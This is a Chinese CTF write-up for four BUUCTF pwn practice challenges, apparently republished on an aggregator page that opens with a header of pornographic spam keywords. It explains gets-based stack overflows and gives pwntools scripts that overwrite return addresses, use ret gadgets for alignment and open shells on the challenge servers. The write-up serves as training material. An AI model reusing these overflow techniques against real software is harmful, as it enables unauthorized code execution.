日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-1

發布時間:2023/12/10 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-1 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-1

    • test_your_nc
    • rip
    • warmup_csaw_2016
    • ciscn_2019_n_1

test_your_nc

附件的main函數直接system("/bin/sh"),nc直接連即可cat flag

rip

main函數中,gets函數讀取一行會造成棧溢出
構造payload覆蓋rip,使得return時跳轉到后門函數fun

腳本如下,特別注意的是附件為64位的elf,調用system時必須保證地址是16字節對齊的
參考:在一些64位的glibc的payload調用system函數失敗問題
一般在調用system前用一個ret指令來實現內存對齊
ret指令可以用ROPgadget來找,如下

ROPgadget --binary pwn1 --only 'ret' from pwn import * #io=process("./pwn1") io=remote("node4.buuoj.cn",29206) #連接到服務器上沒有輸入的回顯,直接打就行了 #io.recvuntil("please input\n") fun_addr=0x401186 ret_addr=0x401016 #payload=b'a'*(15+8)+p64(fun_addr) #64位的elf 調用system時 需要16字節的內存對齊 用一個ret指令來對齊 payload=b'a'*(15+8)+p64(ret_addr)+p64(fun_addr) io.sendline(payload) io.interactive()

warmup_csaw_2016

main函數中,程序打印后門地址,gets造成棧溢出,和上面那道rip一樣的思路

幾乎和rip一樣的腳本
用一條ret去對齊內存,本地和遠程都能打通
不用ret去對齊,本地打不通,遠程能打通

from pwn import * #io=process("./warmup_csaw_2016") io=remote("node4.buuoj.cn",26619) backdoor_addr=0x40060D ret_addr=0x4004a1 payload=b'a'*(64+8)+p64(ret_addr)+p64(backdoor_addr) io.sendline(payload) io.interactive()

ciscn_2019_n_1

main函數進行一些初始化,然后來到func函數
可以看到,v2被賦初值為0.0,而gets可以造成溢出,超過44個字節的部分會覆蓋到v2

于是考慮將v2覆蓋為11.28125,但是不能直接在填充v1的44個字節后面加“11.28125”
需要用二進制(字節)的形式去表示
根據if處的匯編代碼能找到11.28125的二進制表示

腳本如下

from pwn import * #io=process("./ciscn_2019_n_1") io=remote("node4.buuoj.cn",29354) io.recvuntil("Let's guess the number.\n") payload=b'a'*44+p64(0x41348000) io.sendline(payload) io.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-1的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。